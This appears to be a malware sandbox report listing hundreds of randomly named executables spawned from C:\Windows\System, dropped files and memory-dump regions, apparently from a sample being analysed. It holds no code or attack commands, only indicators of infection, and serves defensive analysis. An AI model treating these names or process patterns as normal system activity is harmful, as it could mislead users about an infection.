C:\Windows\System\OGxQigp.exeC:\Windows\System\OGxQigp.exe2⤵
-
-
C:\Windows\System\mErBuKL.exeC:\Windows\System\mErBuKL.exe2⤵
-
-
C:\Windows\System\TCeTnvG.exeC:\Windows\System\TCeTnvG.exe2⤵
-
-
C:\Windows\System\QFjrDbJ.exeC:\Windows\System\QFjrDbJ.exe2⤵
-
-
C:\Windows\System\YvoYTGH.exeC:\Windows\System\YvoYTGH.exe2⤵
-
-
C:\Windows\System\jUmqFmM.exeC:\Windows\System\jUmqFmM.exe2⤵
-
-
C:\Windows\System\HlwyHSW.exeC:\Windows\System\HlwyHSW.exe2⤵
-
-
C:\Windows\System\KkczCKG.exeC:\Windows\System\KkczCKG.exe2⤵
-
-
C:\Windows\System\jnkwNRh.exeC:\Windows\System\jnkwNRh.exe2⤵
-
-
C:\Windows\System\MfzaPVM.exeC:\Windows\System\MfzaPVM.exe2⤵
-
-
C:\Windows\System\YLAIdhh.exeC:\Windows\System\YLAIdhh.exe2⤵
-
-
C:\Windows\System\SZgqHmB.exeC:\Windows\System\SZgqHmB.exe2⤵
-
-
C:\Windows\System\xZArLWG.exeC:\Windows\System\xZArLWG.exe2⤵
-
-
C:\Windows\System\rzzqFKE.exeC:\Windows\System\rzzqFKE.exe2⤵
-
-
C:\Windows\System\bJXkBRj.exeC:\Windows\System\bJXkBRj.exe2⤵
-
-
C:\Windows\System\qJsXAPq.exeC:\Windows\System\qJsXAPq.exe2⤵
-
-
C:\Windows\System\DHmjzGN.exeC:\Windows\System\DHmjzGN.exe2⤵
-
-
C:\Windows\System\KGYNdQr.exeC:\Windows\System\KGYNdQr.exe2⤵
-
-
C:\Windows\System\mlgIPtw.exeC:\Windows\System\mlgIPtw.exe2⤵
-
-
C:\Windows\System\qMkPAIH.exeC:\Windows\System\qMkPAIH.exe2⤵
-
-
C:\Windows\System\UcceuQy.exeC:\Windows\System\UcceuQy.exe2⤵
-
-
C:\Windows\System\mJNkFhl.exeC:\Windows\System\mJNkFhl.exe2⤵
-
-
C:\Windows\System\YmpDgSY.exeC:\Windows\System\YmpDgSY.exe2⤵
-
-
C:\Windows\System\kKGPVWK.exeC:\Windows\System\kKGPVWK.exe2⤵
-
-
C:\Windows\System\bkCFUGV.exeC:\Windows\System\bkCFUGV.exe2⤵
-
-
C:\Windows\System\gPVGmJR.exeC:\Windows\System\gPVGmJR.exe2⤵
-
-
C:\Windows\System\ZmIjLBC.exeC:\Windows\System\ZmIjLBC.exe2⤵
-
-
C:\Windows\System\xqBTmVd.exeC:\Windows\System\xqBTmVd.exe2⤵
-
-
C:\Windows\System\doVHKJg.exeC:\Windows\System\doVHKJg.exe2⤵
-
-
C:\Windows\System\iIBIkMp.exeC:\Windows\System\iIBIkMp.exe2⤵
-
-
C:\Windows\System\rpezOXd.exeC:\Windows\System\rpezOXd.exe2⤵
-
-
C:\Windows\System\ucAwTBT.exeC:\Windows\System\ucAwTBT.exe2⤵
-
-
C:\Windows\System\DvhmDDM.exeC:\Windows\System\DvhmDDM.exe2⤵
-
-
C:\Windows\System\MPRBFyf.exeC:\Windows\System\MPRBFyf.exe2⤵
-
-
C:\Windows\System\jHfltOu.exeC:\Windows\System\jHfltOu.exe2⤵
-
-
C:\Windows\System\zTTlDcN.exeC:\Windows\System\zTTlDcN.exe2⤵
-
-
C:\Windows\System\fFCpiYw.exeC:\Windows\System\fFCpiYw.exe2⤵
-
-
C:\Windows\System\KwxKrea.exeC:\Windows\System\KwxKrea.exe2⤵
-
-
C:\Windows\System\GSEGqrA.exeC:\Windows\System\GSEGqrA.exe2⤵
-
-
C:\Windows\System\VIwWGnN.exeC:\Windows\System\VIwWGnN.exe2⤵
-
-
C:\Windows\System\tNbEWGK.exeC:\Windows\System\tNbEWGK.exe2⤵
-
-
C:\Windows\System\tjLyASq.exeC:\Windows\System\tjLyASq.exe2⤵
-
-
C:\Windows\System\GPpWGKl.exeC:\Windows\System\GPpWGKl.exe2⤵
-
-
C:\Windows\System\rTjdgJT.exeC:\Windows\System\rTjdgJT.exe2⤵
-
-
C:\Windows\System\EurdaoG.exeC:\Windows\System\EurdaoG.exe2⤵
-
-
C:\Windows\System\OfRMdDA.exeC:\Windows\System\OfRMdDA.exe2⤵
-
-
C:\Windows\System\gvQpTxI.exeC:\Windows\System\gvQpTxI.exe2⤵
-
-
C:\Windows\System\GhBoNnv.exeC:\Windows\System\GhBoNnv.exe2⤵
-
-
C:\Windows\System\PTrLsXX.exeC:\Windows\System\PTrLsXX.exe2⤵
-
-
C:\Windows\System\VLzbBVy.exeC:\Windows\System\VLzbBVy.exe2⤵
-
-
C:\Windows\System\ugywleq.exeC:\Windows\System\ugywleq.exe2⤵
-
-
C:\Windows\System\kCpYIYy.exeC:\Windows\System\kCpYIYy.exe2⤵
-
-
C:\Windows\System\glJrurR.exeC:\Windows\System\glJrurR.exe2⤵
-
-
C:\Windows\System\GXjWkjO.exeC:\Windows\System\GXjWkjO.exe2⤵
-
-
C:\Windows\System\FRybSEZ.exeC:\Windows\System\FRybSEZ.exe2⤵
-
-
C:\Windows\System\eVBbphS.exeC:\Windows\System\eVBbphS.exe2⤵
-
-
C:\Windows\System\clBZkmd.exeC:\Windows\System\clBZkmd.exe2⤵
-
-
C:\Windows\System\vUHhrKA.exeC:\Windows\System\vUHhrKA.exe2⤵
-
-
C:\Windows\System\sxhTHsg.exeC:\Windows\System\sxhTHsg.exe2⤵
-
-
C:\Windows\System\vzKZUDi.exeC:\Windows\System\vzKZUDi.exe2⤵
-
-
C:\Windows\System\dzOlvZs.exeC:\Windows\System\dzOlvZs.exe2⤵
-
-
C:\Windows\System\rojHmFP.exeC:\Windows\System\rojHmFP.exe2⤵
-
-
C:\Windows\System\nnNmCsa.exeC:\Windows\System\nnNmCsa.exe2⤵
-
-
C:\Windows\System\HlkHrUd.exeC:\Windows\System\HlkHrUd.exe2⤵
-
-
C:\Windows\System\hRSaLoA.exeC:\Windows\System\hRSaLoA.exe2⤵
-
-
C:\Windows\System\MFGWXUZ.exeC:\Windows\System\MFGWXUZ.exe2⤵
-
-
C:\Windows\System\rFWzbKF.exeC:\Windows\System\rFWzbKF.exe2⤵
-
-
C:\Windows\System\GjIEBCN.exeC:\Windows\System\GjIEBCN.exe2⤵
-
-
C:\Windows\System\mESlGQs.exeC:\Windows\System\mESlGQs.exe2⤵
-
-
C:\Windows\System\VjBXtgl.exeC:\Windows\System\VjBXtgl.exe2⤵
-
-
C:\Windows\System\yhkyajj.exeC:\Windows\System\yhkyajj.exe2⤵
-
-
C:\Windows\System\RpVZcbl.exeC:\Windows\System\RpVZcbl.exe2⤵
-
-
C:\Windows\System\UhSKQRg.exeC:\Windows\System\UhSKQRg.exe2⤵
-
-
C:\Windows\System\ZfBdSlT.exeC:\Windows\System\ZfBdSlT.exe2⤵
-
-
C:\Windows\System\kGbqVYe.exeC:\Windows\System\kGbqVYe.exe2⤵
-
-
C:\Windows\System\YvdJVEX.exeC:\Windows\System\YvdJVEX.exe2⤵
-
-
C:\Windows\System\BBFlIxN.exeC:\Windows\System\BBFlIxN.exe2⤵
-
-
C:\Windows\System\aOvYzDV.exeC:\Windows\System\aOvYzDV.exe2⤵
-
-
C:\Windows\System\ArOrbPK.exeC:\Windows\System\ArOrbPK.exe2⤵
-
-
C:\Windows\System\RmWPKlM.exeC:\Windows\System\RmWPKlM.exe2⤵
-
-
C:\Windows\System\iVuipMk.exeC:\Windows\System\iVuipMk.exe2⤵
-
-
C:\Windows\System\YMmoWdw.exeC:\Windows\System\YMmoWdw.exe2⤵
-
-
C:\Windows\System\Dzgmkey.exeC:\Windows\System\Dzgmkey.exe2⤵
-
-
C:\Windows\System\MIAhefK.exeC:\Windows\System\MIAhefK.exe2⤵
-
-
C:\Windows\System\hQsoJby.exeC:\Windows\System\hQsoJby.exe2⤵
-
-
C:\Windows\System\dnMTPdI.exeC:\Windows\System\dnMTPdI.exe2⤵
-
-
C:\Windows\System\FghMWnG.exeC:\Windows\System\FghMWnG.exe2⤵
-
-
C:\Windows\System\bkyAohJ.exeC:\Windows\System\bkyAohJ.exe2⤵
-
-
C:\Windows\System\ncmMjyb.exeC:\Windows\System\ncmMjyb.exe2⤵
-
-
C:\Windows\System\lMvsGUV.exeC:\Windows\System\lMvsGUV.exe2⤵
-
-
C:\Windows\System\utoHRqA.exeC:\Windows\System\utoHRqA.exe2⤵
-
-
C:\Windows\System\yUDhsqc.exeC:\Windows\System\yUDhsqc.exe2⤵
-
-
C:\Windows\System\LWcTOJI.exeC:\Windows\System\LWcTOJI.exe2⤵
-
-
C:\Windows\System\nHDpUfM.exeC:\Windows\System\nHDpUfM.exe2⤵
-
-
C:\Windows\System\OCILPrW.exeC:\Windows\System\OCILPrW.exe2⤵
-
-
C:\Windows\System\fEQiFlM.exeC:\Windows\System\fEQiFlM.exe2⤵
-
-
C:\Windows\System\gCfrMUN.exeC:\Windows\System\gCfrMUN.exe2⤵
-
-
C:\Windows\System\IGAMgPB.exeC:\Windows\System\IGAMgPB.exe2⤵
-
-
C:\Windows\System\OWkZpKz.exeC:\Windows\System\OWkZpKz.exe2⤵
-
-
C:\Windows\System\qaUAjpR.exeC:\Windows\System\qaUAjpR.exe2⤵
-
-
C:\Windows\System\pLOfuPs.exeC:\Windows\System\pLOfuPs.exe2⤵
-
-
C:\Windows\System\tEvBIbI.exeC:\Windows\System\tEvBIbI.exe2⤵
-
-
C:\Windows\System\HIQOsei.exeC:\Windows\System\HIQOsei.exe2⤵
-
-
C:\Windows\System\uAtkvrq.exeC:\Windows\System\uAtkvrq.exe2⤵
-
-
C:\Windows\System\nVIFnUF.exeC:\Windows\System\nVIFnUF.exe2⤵
-
-
C:\Windows\System\ELLKcPU.exeC:\Windows\System\ELLKcPU.exe2⤵
-
-
C:\Windows\System\LUcOsgK.exeC:\Windows\System\LUcOsgK.exe2⤵
-
-
C:\Windows\System\ItBwWDm.exeC:\Windows\System\ItBwWDm.exe2⤵
-
-
C:\Windows\System\eshruAW.exeC:\Windows\System\eshruAW.exe2⤵
-
-
C:\Windows\System\opRyiMz.exeC:\Windows\System\opRyiMz.exe2⤵
-
-
C:\Windows\System\NFhFRJp.exeC:\Windows\System\NFhFRJp.exe2⤵
-
-
C:\Windows\System\AapxYvx.exeC:\Windows\System\AapxYvx.exe2⤵
-
-
C:\Windows\System\ZsBdORF.exeC:\Windows\System\ZsBdORF.exe2⤵
-
-
C:\Windows\System\FnhFZdw.exeC:\Windows\System\FnhFZdw.exe2⤵
-
-
C:\Windows\System\hNGFRDs.exeC:\Windows\System\hNGFRDs.exe2⤵
-
-
C:\Windows\System\OnMMcFZ.exeC:\Windows\System\OnMMcFZ.exe2⤵
-
-
C:\Windows\System\VqIiSAt.exeC:\Windows\System\VqIiSAt.exe2⤵
-
-
C:\Windows\System\GDKvYax.exeC:\Windows\System\GDKvYax.exe2⤵
-
-
C:\Windows\System\jqPbjxx.exeC:\Windows\System\jqPbjxx.exe2⤵
-
-
C:\Windows\System\LmVnjMy.exeC:\Windows\System\LmVnjMy.exe2⤵
-
-
C:\Windows\System\wrpBNAT.exeC:\Windows\System\wrpBNAT.exe2⤵
-
-
C:\Windows\System\wefYwrn.exeC:\Windows\System\wefYwrn.exe2⤵
-
-
C:\Windows\System\jOclvUi.exeC:\Windows\System\jOclvUi.exe2⤵
-
-
C:\Windows\System\GVxjlUw.exeC:\Windows\System\GVxjlUw.exe2⤵
-
-
C:\Windows\System\xsVYGtq.exeC:\Windows\System\xsVYGtq.exe2⤵
-
-
C:\Windows\System\vDVkCKc.exeC:\Windows\System\vDVkCKc.exe2⤵
-
-
C:\Windows\System\WBlbslC.exeC:\Windows\System\WBlbslC.exe2⤵
-
-
C:\Windows\System\NBOxZCd.exeC:\Windows\System\NBOxZCd.exe2⤵
-
-
C:\Windows\System\hfpDrGM.exeC:\Windows\System\hfpDrGM.exe2⤵
-
-
C:\Windows\System\zHNghgZ.exeC:\Windows\System\zHNghgZ.exe2⤵
-
-
C:\Windows\System\sEQkOjM.exeC:\Windows\System\sEQkOjM.exe2⤵
-
-
C:\Windows\System\OkTabxt.exeC:\Windows\System\OkTabxt.exe2⤵
-
-
C:\Windows\System\kulIrso.exeC:\Windows\System\kulIrso.exe2⤵
-
-
C:\Windows\System\ZhugELb.exeC:\Windows\System\ZhugELb.exe2⤵
-
-
C:\Windows\System\JBIRsWq.exeC:\Windows\System\JBIRsWq.exe2⤵
-
-
C:\Windows\System\IJmKYvr.exeC:\Windows\System\IJmKYvr.exe2⤵
-
-
C:\Windows\System\yvCQuhD.exeC:\Windows\System\yvCQuhD.exe2⤵
-
-
C:\Windows\System\YsoJLgJ.exeC:\Windows\System\YsoJLgJ.exe2⤵
-
-
C:\Windows\System\OFpDtAb.exeC:\Windows\System\OFpDtAb.exe2⤵
-
-
C:\Windows\System\gYMknjx.exeC:\Windows\System\gYMknjx.exe2⤵
-
-
C:\Windows\System\JaPKDAm.exeC:\Windows\System\JaPKDAm.exe2⤵
-
-
C:\Windows\System\wTlSbMm.exeC:\Windows\System\wTlSbMm.exe2⤵
-
-
C:\Windows\System\AGlzeQT.exeC:\Windows\System\AGlzeQT.exe2⤵
-
-
C:\Windows\System\vfkeyzt.exeC:\Windows\System\vfkeyzt.exe2⤵
-
-
C:\Windows\System\PWxxKLN.exeC:\Windows\System\PWxxKLN.exe2⤵
-
-
C:\Windows\System\WbcZRYY.exeC:\Windows\System\WbcZRYY.exe2⤵
-
-
C:\Windows\System\ZMarUMK.exeC:\Windows\System\ZMarUMK.exe2⤵
-
-
C:\Windows\System\DvKGQWq.exeC:\Windows\System\DvKGQWq.exe2⤵
-
-
C:\Windows\System\SupFtll.exeC:\Windows\System\SupFtll.exe2⤵
-
-
C:\Windows\System\ephmkmT.exeC:\Windows\System\ephmkmT.exe2⤵
-
-
C:\Windows\System\pXDDanb.exeC:\Windows\System\pXDDanb.exe2⤵
-
-
C:\Windows\System\ujqMNAu.exeC:\Windows\System\ujqMNAu.exe2⤵
-
-
C:\Windows\System\wTBaZOK.exeC:\Windows\System\wTBaZOK.exe2⤵
-
-
C:\Windows\System\BLdgwPH.exeC:\Windows\System\BLdgwPH.exe2⤵
-
-
C:\Windows\System\lnOrXsi.exeC:\Windows\System\lnOrXsi.exe2⤵
-
-
C:\Windows\System\IywPwdR.exeC:\Windows\System\IywPwdR.exe2⤵
-
-
C:\Windows\System\ESPkjhT.exeC:\Windows\System\ESPkjhT.exe2⤵
-
-
C:\Windows\System\fhfmIUb.exeC:\Windows\System\fhfmIUb.exe2⤵
-
-
C:\Windows\System\ptxKKTy.exeC:\Windows\System\ptxKKTy.exe2⤵
-
-
C:\Windows\System\EwwmcNw.exeC:\Windows\System\EwwmcNw.exe2⤵
-
-
C:\Windows\System\QMAhknI.exeC:\Windows\System\QMAhknI.exe2⤵
-
-
C:\Windows\System\kLEqSXX.exeC:\Windows\System\kLEqSXX.exe2⤵
-
-
C:\Windows\System\aATqAgt.exeC:\Windows\System\aATqAgt.exe2⤵
-
-
C:\Windows\System\yZLsfvK.exeC:\Windows\System\yZLsfvK.exe2⤵
-
-
C:\Windows\System\vaDjsdD.exeC:\Windows\System\vaDjsdD.exe2⤵
-
-
C:\Windows\System\tIUkhcX.exeC:\Windows\System\tIUkhcX.exe2⤵
-
-
C:\Windows\System\PjZPYlj.exeC:\Windows\System\PjZPYlj.exe2⤵
-
-
C:\Windows\System\nCTAyjJ.exeC:\Windows\System\nCTAyjJ.exe2⤵
-
-
C:\Windows\System\tMkZvYN.exeC:\Windows\System\tMkZvYN.exe2⤵
-
-
C:\Windows\System\cVwnNAh.exeC:\Windows\System\cVwnNAh.exe2⤵
-
-
C:\Windows\System\RwxCeaM.exeC:\Windows\System\RwxCeaM.exe2⤵
-
-
C:\Windows\System\XtJfgnj.exeC:\Windows\System\XtJfgnj.exe2⤵
-
-
C:\Windows\System\HIwTMKh.exeC:\Windows\System\HIwTMKh.exe2⤵
-
-
C:\Windows\System\cONorbi.exeC:\Windows\System\cONorbi.exe2⤵
-
-
C:\Windows\System\xdrXxQS.exeC:\Windows\System\xdrXxQS.exe2⤵
-
-
C:\Windows\System\ycZpYip.exeC:\Windows\System\ycZpYip.exe2⤵
-
-
C:\Windows\System\hlRQjhD.exeC:\Windows\System\hlRQjhD.exe2⤵
-
-
C:\Windows\System\QosxbsJ.exeC:\Windows\System\QosxbsJ.exe2⤵
-
-
C:\Windows\System\KWSHyCu.exeC:\Windows\System\KWSHyCu.exe2⤵
-
-
C:\Windows\System\aDCUHPp.exeC:\Windows\System\aDCUHPp.exe2⤵
-
-
C:\Windows\System\VgbkLsK.exeC:\Windows\System\VgbkLsK.exe2⤵
-
-
C:\Windows\System\UOLIvRA.exeC:\Windows\System\UOLIvRA.exe2⤵
-
-
C:\Windows\System\trFZlMM.exeC:\Windows\System\trFZlMM.exe2⤵
-
-
C:\Windows\System\QAKWiKd.exeC:\Windows\System\QAKWiKd.exe2⤵
-
-
C:\Windows\System\WcrGFQS.exeC:\Windows\System\WcrGFQS.exe2⤵
-
-
C:\Windows\System\hatlrEh.exeC:\Windows\System\hatlrEh.exe2⤵
-
-
C:\Windows\System\aGCHClI.exeC:\Windows\System\aGCHClI.exe2⤵
-
-
C:\Windows\System\zbbtqXX.exeC:\Windows\System\zbbtqXX.exe2⤵
-
-
C:\Windows\System\EptUSUy.exeC:\Windows\System\EptUSUy.exe2⤵
-
-
C:\Windows\System\KdyYefa.exeC:\Windows\System\KdyYefa.exe2⤵
-
-
C:\Windows\System\oEZTQCx.exeC:\Windows\System\oEZTQCx.exe2⤵
-
-
C:\Windows\System\uWcKFog.exeC:\Windows\System\uWcKFog.exe2⤵
-
-
C:\Windows\System\YwDpgld.exeC:\Windows\System\YwDpgld.exe2⤵
-
-
C:\Windows\System\sbFpqcA.exeC:\Windows\System\sbFpqcA.exe2⤵
-
-
C:\Windows\System\oJJBuRs.exeC:\Windows\System\oJJBuRs.exe2⤵
-
-
C:\Windows\System\vMyTwaK.exeC:\Windows\System\vMyTwaK.exe2⤵
-
-
C:\Windows\System\RallqsK.exeC:\Windows\System\RallqsK.exe2⤵
-
-
C:\Windows\System\WBhVjPy.exeC:\Windows\System\WBhVjPy.exe2⤵
-
-
C:\Windows\System\PWxyLEo.exeC:\Windows\System\PWxyLEo.exe2⤵
-
-
C:\Windows\System\DlcpCSI.exeC:\Windows\System\DlcpCSI.exe2⤵
-
-
C:\Windows\System\JgFrkLr.exeC:\Windows\System\JgFrkLr.exe2⤵
-
-
C:\Windows\System\IbrslCp.exeC:\Windows\System\IbrslCp.exe2⤵
-
-
C:\Windows\System\BjZFsqF.exeC:\Windows\System\BjZFsqF.exe2⤵
-
-
C:\Windows\System\xwKXZPk.exeC:\Windows\System\xwKXZPk.exe2⤵
-
-
C:\Windows\System\MMytEuy.exeC:\Windows\System\MMytEuy.exe2⤵
-
-
C:\Windows\System\aMGcYHQ.exeC:\Windows\System\aMGcYHQ.exe2⤵
-
-
C:\Windows\System\THmibZK.exeC:\Windows\System\THmibZK.exe2⤵
-
-
C:\Windows\System\xeqePMd.exeC:\Windows\System\xeqePMd.exe2⤵
-
-
C:\Windows\System\OSPnkPF.exeC:\Windows\System\OSPnkPF.exe2⤵
-
-
C:\Windows\System\kLXQyHj.exeC:\Windows\System\kLXQyHj.exe2⤵
-
-
C:\Windows\System\hoSNVbm.exeC:\Windows\System\hoSNVbm.exe2⤵
-
-
C:\Windows\System\YlfkVnS.exeC:\Windows\System\YlfkVnS.exe2⤵
-
-
C:\Windows\System\iMHbHjy.exeC:\Windows\System\iMHbHjy.exe2⤵
-
-
C:\Windows\System\Bxqlsgb.exeC:\Windows\System\Bxqlsgb.exe2⤵
-
-
C:\Windows\System\luhFUvX.exeC:\Windows\System\luhFUvX.exe2⤵
-
-
C:\Windows\System\lcDBXyr.exeC:\Windows\System\lcDBXyr.exe2⤵
-
-
C:\Windows\System\PyPpTFB.exeC:\Windows\System\PyPpTFB.exe2⤵
-
-
C:\Windows\System\GftvENE.exeC:\Windows\System\GftvENE.exe2⤵
-
-
C:\Windows\System\KBHvwAJ.exeC:\Windows\System\KBHvwAJ.exe2⤵
-
-
C:\Windows\System\MrjllIq.exeC:\Windows\System\MrjllIq.exe2⤵
-
-
C:\Windows\System\ZOXwOLV.exeC:\Windows\System\ZOXwOLV.exe2⤵
-
-
C:\Windows\System\cqJnsDs.exeC:\Windows\System\cqJnsDs.exe2⤵
-
-
C:\Windows\System\QocmmNY.exeC:\Windows\System\QocmmNY.exe2⤵
-
-
C:\Windows\System\hKxLQXm.exeC:\Windows\System\hKxLQXm.exe2⤵
-
-
C:\Windows\System\lIvvEyL.exeC:\Windows\System\lIvvEyL.exe2⤵
-
-
C:\Windows\System\nOYKhDb.exeC:\Windows\System\nOYKhDb.exe2⤵
-
-
C:\Windows\System\dBOXXOf.exeC:\Windows\System\dBOXXOf.exe2⤵
-
-
C:\Windows\System\dOEQKeb.exeC:\Windows\System\dOEQKeb.exe2⤵
-
-
C:\Windows\System\AetZzCt.exeC:\Windows\System\AetZzCt.exe2⤵
-
-
C:\Windows\System\PGvnGui.exeC:\Windows\System\PGvnGui.exe2⤵
-
-
C:\Windows\System\HLuHWLS.exeC:\Windows\System\HLuHWLS.exe2⤵
-
-
C:\Windows\System\MRVCvGb.exeC:\Windows\System\MRVCvGb.exe2⤵
-
-
C:\Windows\System\uuiOnkx.exeC:\Windows\System\uuiOnkx.exe2⤵
-
-
C:\Windows\System\LICbgDl.exeC:\Windows\System\LICbgDl.exe2⤵
-
-
C:\Windows\System\VcByLOS.exeC:\Windows\System\VcByLOS.exe2⤵
-
-
C:\Windows\System\HJFadLg.exeC:\Windows\System\HJFadLg.exe2⤵
-
-
C:\Windows\System\gZPdvPm.exeC:\Windows\System\gZPdvPm.exe2⤵
-
-
C:\Windows\System\iqXWPij.exeC:\Windows\System\iqXWPij.exe2⤵
-
-
C:\Windows\System\gCNijaJ.exeC:\Windows\System\gCNijaJ.exe2⤵
-
-
C:\Windows\System\QLKiuxR.exeC:\Windows\System\QLKiuxR.exe2⤵
-
-
C:\Windows\System\awYLwuz.exeC:\Windows\System\awYLwuz.exe2⤵
-
-
C:\Windows\System\UCjDCiV.exeC:\Windows\System\UCjDCiV.exe2⤵
-
-
C:\Windows\System\IeEZaeA.exeC:\Windows\System\IeEZaeA.exe2⤵
-
-
C:\Windows\System\ofGgKrx.exeC:\Windows\System\ofGgKrx.exe2⤵
-
-
C:\Windows\System\tPjnavr.exeC:\Windows\System\tPjnavr.exe2⤵
-
-
C:\Windows\System\sNnFhqY.exeC:\Windows\System\sNnFhqY.exe2⤵
-
-
C:\Windows\System\zlzyNLR.exeC:\Windows\System\zlzyNLR.exe2⤵
-
-
C:\Windows\System\xTnunsT.exeC:\Windows\System\xTnunsT.exe2⤵
-
-
C:\Windows\System\yEoSwRW.exeC:\Windows\System\yEoSwRW.exe2⤵
-
-
C:\Windows\System\piyVfjV.exeC:\Windows\System\piyVfjV.exe2⤵
-
-
C:\Windows\System\slCdZbA.exeC:\Windows\System\slCdZbA.exe2⤵
-
-
C:\Windows\System\CfcXiPy.exeC:\Windows\System\CfcXiPy.exe2⤵
-
-
C:\Windows\System\nBZLkaN.exeC:\Windows\System\nBZLkaN.exe2⤵
-
-
C:\Windows\System\aOWqlCk.exeC:\Windows\System\aOWqlCk.exe2⤵
-
-
C:\Windows\System\HJCshyL.exeC:\Windows\System\HJCshyL.exe2⤵
-
-
C:\Windows\System\nVLZmAC.exeC:\Windows\System\nVLZmAC.exe2⤵
-
-
C:\Windows\System\XcjbrJi.exeC:\Windows\System\XcjbrJi.exe2⤵
-
-
C:\Windows\System\ZHxYzDp.exeC:\Windows\System\ZHxYzDp.exe2⤵
-
-
C:\Windows\System\NuBVYQp.exeC:\Windows\System\NuBVYQp.exe2⤵
-
-
C:\Windows\System\arPFxbQ.exeC:\Windows\System\arPFxbQ.exe2⤵
-
-
C:\Windows\System\GydkqXr.exeC:\Windows\System\GydkqXr.exe2⤵
-
-
C:\Windows\System\RWEjxMG.exeC:\Windows\System\RWEjxMG.exe2⤵
-
-
C:\Windows\System\gVvFnaR.exeC:\Windows\System\gVvFnaR.exe2⤵
-
-
C:\Windows\System\lOGyVlv.exeC:\Windows\System\lOGyVlv.exe2⤵
-
-
C:\Windows\System\KAzCaWc.exeC:\Windows\System\KAzCaWc.exe2⤵
-
-
C:\Windows\System\HGTxwXo.exeC:\Windows\System\HGTxwXo.exe2⤵
-
-
C:\Windows\System\GTcgHEL.exeC:\Windows\System\GTcgHEL.exe2⤵
-
-
C:\Windows\System\oUKKmsX.exeC:\Windows\System\oUKKmsX.exe2⤵
-
-
C:\Windows\System\jYWKKjl.exeC:\Windows\System\jYWKKjl.exe2⤵
-
-
C:\Windows\System\yXxqUPj.exeC:\Windows\System\yXxqUPj.exe2⤵
-
-
C:\Windows\System\XYGDWlN.exeC:\Windows\System\XYGDWlN.exe2⤵
-
-
C:\Windows\System\PpaZyko.exeC:\Windows\System\PpaZyko.exe2⤵
-
-
C:\Windows\System\qJvywwz.exeC:\Windows\System\qJvywwz.exe2⤵
-
-
C:\Windows\System\VnrmYVk.exeC:\Windows\System\VnrmYVk.exe2⤵
-
-
C:\Windows\System\qDJrcnr.exeC:\Windows\System\qDJrcnr.exe2⤵
-
-
C:\Windows\System\fGWiipP.exeC:\Windows\System\fGWiipP.exe2⤵
-
-
C:\Windows\System\CsBwzfB.exeC:\Windows\System\CsBwzfB.exe2⤵
-
-
C:\Windows\System\JtZstzg.exeC:\Windows\System\JtZstzg.exe2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4532,i,2029050989380753659,15333598055019363793,262144 --variations-seed-version --mojo-platform-channel-handle=1044 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_z0ij1nny.4ue.ps1
GJdWVCN.exe
HFtCfxV.exe
IJGzTPM.exe
JTqtaXk.exe
JWnEiLH.exe
LoLEqyl.exe
MHBleQE.exe
OIUAimD.exe
TRIFEVO.exe
UTxxzDH.exe
WaSMBHp.exe
XmAibUO.exe
aGnqBQm.exe
aafPeZy.exe
ayLcyMh.exe
dekFayz.exe
fgrtKfx.exe
hGlZwCN.exe
mGKGJjv.exe
mKaqiDk.exe
pGWkFmP.exe
sCBvpsg.exe
uFqjMAQ.exe
ummmPka.exe
vapxwfh.exe
wGFQQMu.exe
xbiLSzP.exe
yLiJdvj.exe
ybOctUF.exe
ytwlPrq.exe
ywMqHsX.exe
zIeGbca.exe
zRdjWIB.exe
ziGqRsS.exe
memory/536-35-0x00007FF688AA0000-0x00007FF688E92000-memory.dmp
memory/536-1999-0x00007FF688AA0000-0x00007FF688E92000-memory.dmp
memory/680-2042-0x00007FF7D7000000-0x00007FF7D73F2000-memory.dmp
memory/680-471-0x00007FF7D7000000-0x00007FF7D73F2000-memory.dmp
memory/724-451-0x00007FF7EDE60000-0x00007FF7EE252000-memory.dmp
memory/724-2007-0x00007FF7EDE60000-0x00007FF7EE252000-memory.dmp
memory/756-2003-0x00007FF78A760000-0x00007FF78AB52000-memory.dmp
memory/756-48-0x00007FF78A760000-0x00007FF78AB52000-memory.dmp
memory/836-107-0x0000012AE10C0000-0x0000012AE10E2000-memory.dmp
memory/836-391-0x0000012AE3F20000-0x0000012AE46C6000-memory.dmp
memory/884-443-0x00007FF6D8BD0000-0x00007FF6D8FC2000-memory.dmp
memory/884-2048-0x00007FF6D8BD0000-0x00007FF6D8FC2000-memory.dmp
memory/944-31-0x00007FF731C50000-0x00007FF732042000-memory.dmp
memory/944-1996-0x00007FF731C50000-0x00007FF732042000-memory.dmp
memory/1056-2029-0x00007FF653B90000-0x00007FF653F82000-memory.dmp
memory/1056-430-0x00007FF653B90000-0x00007FF653F82000-memory.dmp
memory/1260-401-0x00007FF658520000-0x00007FF658912000-memory.dmp
memory/1260-2025-0x00007FF658520000-0x00007FF658912000-memory.dmp
memory/1268-121-0x00007FF640450000-0x00007FF640842000-memory.dmp
memory/1268-2015-0x00007FF640450000-0x00007FF640842000-memory.dmp
memory/1332-2054-0x00007FF7AD420000-0x00007FF7AD812000-memory.dmp
memory/1332-447-0x00007FF7AD420000-0x00007FF7AD812000-memory.dmp
memory/1540-2018-0x00007FF7E1720000-0x00007FF7E1B12000-memory.dmp
memory/1540-395-0x00007FF7E1720000-0x00007FF7E1B12000-memory.dmp
memory/1572-475-0x00007FF654C70000-0x00007FF655062000-memory.dmp
memory/1572-2044-0x00007FF654C70000-0x00007FF655062000-memory.dmp
memory/2196-1947-0x00007FF60BF40000-0x00007FF60C332000-memory.dmp
memory/2196-28-0x00007FF60BF40000-0x00007FF60C332000-memory.dmp
memory/2196-1997-0x00007FF60BF40000-0x00007FF60C332000-memory.dmp
memory/2368-413-0x00007FF7BF010000-0x00007FF7BF402000-memory.dmp
memory/2368-2022-0x00007FF7BF010000-0x00007FF7BF402000-memory.dmp
memory/2388-1993-0x00007FF6D3560000-0x00007FF6D3952000-memory.dmp
memory/2388-1946-0x00007FF6D3560000-0x00007FF6D3952000-memory.dmp
memory/2388-10-0x00007FF6D3560000-0x00007FF6D3952000-memory.dmp
memory/2428-2027-0x00007FF6551F0000-0x00007FF6555E2000-memory.dmp
memory/2428-422-0x00007FF6551F0000-0x00007FF6555E2000-memory.dmp
memory/2888-2010-0x00007FF6B8380000-0x00007FF6B8772000-memory.dmp
